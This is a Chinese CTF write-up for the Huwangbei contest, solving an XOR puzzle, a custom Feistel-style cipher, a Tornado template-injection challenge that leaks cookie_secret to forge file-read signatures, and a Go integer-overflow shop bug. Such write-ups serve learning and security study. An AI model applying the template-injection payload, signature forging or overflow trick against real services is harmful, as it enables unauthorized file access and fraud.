護網杯部分題目題解
前言
護網杯的這次比賽還是很有收穫的,至少在web方面我認為是這樣的,還是得繼續努力吧。。。
正文
MISC
遲來的簽到
AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs=
題目說要異或,那就直接爆破異或就好
寫個小指令碼就可以得到flag
import base64
a = "AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
a = base64.b64decode(a)
for i in range(128):
s = ''
for j in a:
s = s+chr(i^ord(j))
if 'flag' in s:
print s
Crypto
fez
這個題目是我隊友做的。。。。賽後才學習的,看來密碼學以後還得認真上課。。。。
Fez.log給出三條資料,第一條為test,第二條為test與k加密後的資料,第三條為flag與k加密後的資料
fez.py為加密演算法,通過分析演算法
即a,b每一位進行異或運算
Round函式將M左右部分互換,並對右部分進行異或運算得 R^L^k[i]
Fez函式即將k陣列每個元素與m進行round
運算
可得m為字串分為m[0:27]
,m[27:54]
m: L + R
R + a a: L^R^k0
a + b b: L^k0^k1
b + c c: R^k0^k1
c + d d: L^k0^k2^k3
d + e e: L^k0^k1^k3^k4
e + f f: R^k1^k2^k4^k5
f + g g: L^R^k0^k1^k3^k5^k6
根據異或運算得特性
已知test(也就是L,R),fez(test,k)(也就是f,g),即可通過test與fez(test,k) 進行異或運算可得出 k0^k1^k3^k5^k6
,k1^k2^k4^k5
從而還原flag
import os
import binascii
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
test = '50543fc0bca1bb4f21300f0074990f846a8009febded0b2198324c1b31d2e2563c908dcabbc461f194e70527e03a807e9a478f9a56f7'
test = binascii.a2b_hex(test)
test_k = '66bbd551d9847c1a10755987b43f8b214ee9c6ec2949eef01321b0bc42cffce6bdbd604924e5cbd99b7c56cf461561186921087fa1e9'
test_k = binascii.a2b_hex(test_k)
m_k = '44fc6f82bdd0dff9aca3e0e82cbb9d6683516524c245494b89c272a83d2b88452ec0bfa0a73ffb42e304fe3748896111b9bdf4171903'
m_k = binascii.a2b_hex(m_k)
l = test[0:27]
r = test[27:54]
l1 = test_k[0:27]
r1 = test_k[27:54]
l2 = m_k[0:27]
r2 = m_k[27:54]
c = xor(xor(l,r),r1)
Lr = xor(c,r2)
d = xor(r,l1)
R = xor(d,l2)
L = xor(Lr,R)
m = L+R
print m
Web
這裡的web題目是我趁著題目還沒關的時候趕緊復現的(不會做後面弄懂也是學習的方法呀23333),感謝一葉飄零學長的幫助哇。。。。
easy tornado
這個題目上來每個選項url就很可疑
http://49.4.95.5:31792/file?filename=Orz.txt&signature=d227ce6c7cea5a9cd7f1721e0baace7d
Orz.txt
render()
http://49.4.95.5:31792/file?filename=hint.txt&signature=c7b8660e245f1360c378db1074a2a4c7
hint.txt
md5(cookie_secret + md5(filename))
http://49.4.95.5:31792/file?filename=flag.txt&signature=d24b2dc1952a495057af1a898c55931b
flag.txt
/fllllllllllag
很明顯是去讀檔案/fllllllllllag
,並且要帶上簽名,一開始我做這個題的時候還以為強行爆破一波secret。。。還一度認為是Hash長度拓展攻擊。。。。尷尬
關鍵點在於cookie_secret
這個頁面過濾了很多東西,並且返回Orz
輸入
http://49.4.95.5:31792/error?msg={{1^0}}
這裡的話飄零大佬說可以進行模板注入,並且只能讀一個變數
接下來的思路才是騷,直接閱讀tornado的原始碼
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py
在handler.settings
裡面存在cookie_secret
這東西
讀取一下
http://49.4.95.5:31792/error?msg={{handler.settings}}
這裡的{{}}
具有渲染模板的功能
Whoops, looks like somethings went wrong .
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': 'B3}r8at^62-?kGW<!YJ{Kl][email protected])$H%*~9fh15.s[>&T+(7P4uQ0UVXDOiFb', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}
可以把裡面的內容給讀出來,以後還是得對python的MVC架構學習一下才行。。
立即構造簽名
<?php
echo md5('B3}r8at^62-?kGW<!YJ{Kl][email protected])$H%*~9fh15.s[>&T+(7P4uQ0UVXDOiFb'.md5('/fllllllllllag')) ;
?>
http://49.4.95.5:31792/file?filename=/fllllllllllag&signature=3e9f949b7c37c999287eb096f576be00
ltshop
這個題目一開始我一直以為是前端的ajax
的操作問題,直到看了飄零大哥的wp才知道有兩種思路,一種是條件競爭,但條件競爭好像還是有上限的,開個多執行緒跑一下,這也是為了後面的怪異的9999999
做鋪墊,因為你沒有5個以上的大辣條是換不了辣條之王的。
然後就會發現辣條數目幾變成7個
下面才是重點,因為這裡是用的是Go語言,很可能存在整數溢位,可以參考一下這篇文章
http://www.it1352.com/808569.html
go語言整數溢位為18446744073709551615
,然後可以計算number=(18446744073709551615/5)+1=3689348814741910324
,然後我們可以直接溢位獲得flag
下面這篇部落格對於溢位過大有更深的理解:
https://qingchenldl.github.io/2018/10/13/護網杯WP-BitPwn/?tdsourcetag=s_pctim_aiomsg
還有一道題目是關於Laravel框架的解題過程,也是秀,知識點也很多,建議去看看一葉飄零學長的部落格啦。
結語
這比賽又學到了不少的東西,果然python開發出來的web框架還是自己的弱項,條件競爭這東西看來現在比賽都很流行呢,可惜自己對這方面的做題敏感度不夠,以前一直認為這隻有安恆的月賽才會出,以後還是得接觸pwn了,繼續努力。。。。。